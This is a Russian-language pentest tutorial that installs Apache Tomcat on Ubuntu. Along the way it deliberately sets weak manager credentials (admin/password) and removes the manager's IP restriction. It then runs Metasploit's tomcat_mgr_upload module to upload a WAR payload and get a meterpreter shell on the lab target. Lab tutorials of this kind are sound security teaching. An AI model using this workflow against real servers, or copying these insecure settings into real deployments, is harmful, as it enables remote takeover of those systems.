В этой статье подробно рассказывается о процессе установки Apache Tomcat на любой компьютер с ОС Linux, а также затронут вопрос о получении контроля над компьютером жертвы с помощью данного сервера.
Необходимые условия для осуществления пентестинга:
- Сервер / Компьютер жертвы: Ubuntu 18.04
- ОС компьютера пользователя: Kali Linux
Содержание
- Знакомство с Apache Tomcat
- Настройка Apache Tomcat
- Установка Apache
- Установка Java JDK
- Скачивание Tomcat manager
- Конфигурация Tomcat manager
- Регистрация пользователя Tomcat и формирование группы
- Получение разрешения
- Создание файла службы systemd
- Обновление брандмауэра для получения разрешения для работы Tomcat
- Настройка интерфейса Tomcat
- Получение доступа к интерфейсу
- Применение Apache Tomcat
Знакомство с Apache Tomcat
Apache Tomcat, который также известен как Tomcat Server, является веб-сервером HTTP на базе Java. Он реализует спецификации Java EE, такие как Java Servlet, JavaServer Pages (JSP), Java EL и WebSocket. Это программное обеспечение с открытым исходным кодом, созданное разработчиками Apache Software Foundation. Apache был выпущен еще в 1999 году. На данный момент Apache Tomcat имеет уже 20-летнюю историю.
Apache Tomcat в своей простейшей конфигурации работает в качестве определенного процесса, осуществляемого в операционной системе. Этот процесс еще известен как виртуальная машина Java (JVM). Он позволяет Apache Tomcat функционировать независимо от платформы, а также быть безопасным для системы по сравнению с другими его аналогами.
Настройка Apache Tomcat
Пользователь начинает с установки Apache Tomcat, но перед этим он должен выполнить следующие команды.
apt update
apt install apache2
Теперь, Apache Tomcat нужен Java, установленный таким образом, что код приложения Java может быть выполнен на сервере. Для того чтобы реализовать это, требуется наличие Java Development Kit.
apt-get install default-jdk
Регистрация пользователя Tomcat и формирование группы
Для того чтобы запустить tomcat от имени непривилегированного пользователя, нужно создать новую группу и пользователя с именем Tomcat. Такой пользователь создается в /opt, поэтому следует установить Tomcat именно в этот каталог. Не требуется, чтобы пользователь Tomcat использовал шелл, будут применены следующие параметры для установки /bin / false shell. При этом аутентификация пользователя Tomcat отключена.
groupadd tomcat
cd opt
mkdir tomcat
useradd -s /bin/false -g tomcat -d /opt/tomcat tomcat
Скачивание Tomcat Manager
Скачать пакет Apache Tomcat можно здесь. После загрузки нужно распаковать пакет в /opt и продолжить установку.
sudo tar xzvf apache-tomcat-9.0.24.tar.gz -C /opt/tomcat --strip-components=1
Получение разрешения
Теперь пользователь вводит команду chgrp, чтобы передать право собственности на каталог Tomcat группе Tomcat.
cd /opt/tomcatchgrp -R tomcat /opt/tomcat
Это делается для того, чтобы разрешить пользователю Tomcat group выполнять операции. Необходимо изменить разрешение для файла /conf, как указано ниже.
chmod -R g+r confchmod g+x conf
Также будут предоставлены права собственности пользователям Тomcat group для каталогов, таких как webapp/, work/, temp/ и logs/.
chown -R tomcat webapps/ work/ temp/ logs/
Следует добиться того, чтобы Apache Tomcat запускался как служба, и для этого придется создать системную службу. Пользователю потребуется расположение установки Java. Для этого выполняется команда, приведенная ниже.
update-java-alternatives -l
Создание файла службы systemd
Для того чтобы создать этот файл, следует открыть служебный файл tomcat. в каталоге /etc/systemd/system с помощью редактора nano.
nano /etc/systemd/system/tomcat.service
Далее пользователь выполняет следующие команды и изменяет JAVA_HOME, как показано на картинке ниже. После его сохранения Tomcat станет выполнять роль системной службы.
[Unit]
Description=Apache Tomcat Web Application Container
After=network.target
[Service]
Type=forking
Environment=JAVA_HOME=/usr/lib/jvm/java-1.11.0-openjdk-amd64
Environment=CATALINA_PID=/opt/tomcat/temp/tomcat.pid
Environment=CATALINA_HOME=/opt/tomcat
Environment=CATALINA_BASE=/opt/tomcat
Environment='CATALINA_OPTS=-Xms512M -Xmx1024M -server -XX:+UseParallelGC'
Environment='JAVA_OPTS=-Djava.awt.headless=true -Djava.security.egd=file:/dev/./urandom'
ExecStart=/opt/tomcat/bin/startup.sh
ExecStop=/opt/tomcat/bin/shutdown.sh
User=tomcat
Group=tomcat
UMask=0007
RestartSec=10
Restart=always
[Install]
WantedBy=multi-user.target
Нужно перезапустить systemd daemon, чтобы зарегистрировать только что созданный сервис Tomcat. Если все сделано правильно, пользователь сможет увидеть Apache Tomcat как системную службу.
sudo systemctl daemon-reload
sudo systemctl start tomcat
sudo systemctl status tomcat
Обновление брандмауэра для разрешения работы Тomcat
Пришло время разрешить Тomcat работать через брандмауэр, так как Ubuntu имеет установленный и настроенный по умолчанию ufw. Apache Tomcat обычно использует порт 8080 для получения запросов пользователей.
sudo ufw allow 8080
Пользователю следует выполнить приведенную ниже команду для того, чтобы Тomcat запускался автоматически каждый раз при загрузке компьютера.
sudo systemctl enable tomcat
Настройка интерфейса Tomcat
На этом этапе, при просмотре IP-адреса сервера с портом 8080, пользователя встретит страница Apache Tomcat. Но если он нажмет по ссылке на приложение Manager, ему будет отказано в доступе. Это означает, что пользователь еще не настроил интерфейс Tomcat Web Manager. Итак, нужно сделать это и завершить настройку Apache Tomcat.
Следует открыть файл с помощью редактора nano и внести следующие изменения, как показано на рисунке ниже.
sudo nano /opt/tomcat/conf/tomcat-users.xml
<user username="admin" password="password" roles="manager-gui,admin-gui"/>
Пользователь может изменить имя и пароль в соответствии с его предпочтениями. Все данные сохраняются и после внесения соответствующих изменений редактор нужно закрыть.
По умолчанию Apache Tomcat ограничивает доступ к подключению к приложениям Manager и Host Manager. Поскольку Tomcat устанавливается для получения доступа удаленно, вероятно, стоит изменить эту ситуацию. Для того чтобы отменить данные ограничения, пользователю необходимо отредактировать файлы context.xml.
sudo nano /opt/tomcat/webapps/manager/META-INF/context.xml
Надо закомментировать ограничение IP-адреса, чтобы разрешить подключение из любого места. Кроме того, это еще делается для того, если пользователь хочет оставить доступ только к соединениям, идущим с его собственного IP-адреса.
sudo nano /opt/tomcat/webapps/host-manager/META-INF/context.xml
То же самое делается с файлом host-manager для того, чтобы разрешить доступ к менеджеру хоста.
Изменения сохраняются и служба Tomcat перезапускается.
systemctl restart tomcat
Получение доступа к интерфейсу
Пользователь попадает в интерфейс, введя доменное имя своего сервера или IP-адрес, а затем открывает порт 8080 в браузере. Теперь он может проверить, работают ли интерфейсы Manager и Host Manager. Нужно нажать на кнопки, выделенные красным на изображении.
Появляется страница аутентификации входа в систему, как и ожидалось. Пользователь вводит учетные данные, которые были придуманы ранее.
После проверки учетных данных Apache Tomcat отправляет пользователя в интерфейс диспетчера виртуальных хостов Tomcat. На этой странице человек может добавить виртуальные хосты для обслуживания своих приложений. На этом настройка Apache Tomcat завершается.
Применение Apache Tomcat
Теперь, когда фреймворк Apache Tomcat был успешно установлен, нужно провести пентестинг. Используется Metasploit.
Этот модуль может быть применен для выполнения полезной нагрузки на серверах Apache Tomcat. Полезная нагрузка загружается в виде архива WAR, содержащего приложение JSP, использующее POST-запрос для компонентов /manager/html /upload.
Примечание: совместимые наборы полезной нагрузки варьируются в зависимости от выбранной цели. Например, необходимо выбрать целевой объект Windows для использования собственных полезных нагрузок Windows.
use exploit/multi/http/tomcat_mgr_upload
msf5 exploit(multi/http/tomcat_mgr_upload) > set target 2
msf5 exploit(multi/http/tomcat_mgr_upload) > set rhosts 192.168.0.23
msf5 exploit(multi/http/tomcat_mgr_upload) > set rport 8080
msf5 exploit(multi/http/tomcat_mgr_upload) > set httpUsername admin
msf5 exploit(multi/http/tomcat_mgr_upload) > set httppassword password
msf5 exploit(multi/http/tomcat_mgr_upload) > exploit
В результате пользователь получает доступ к сеансу meterpreter целевого компьютера.
meterpreter > shell
id
О других способах использования Tomcat manager можно почитать, перейдя по ссылке.
Автор переведенной статьи: Ahmad, пентестер и исследователь в сфере информационной безопасности.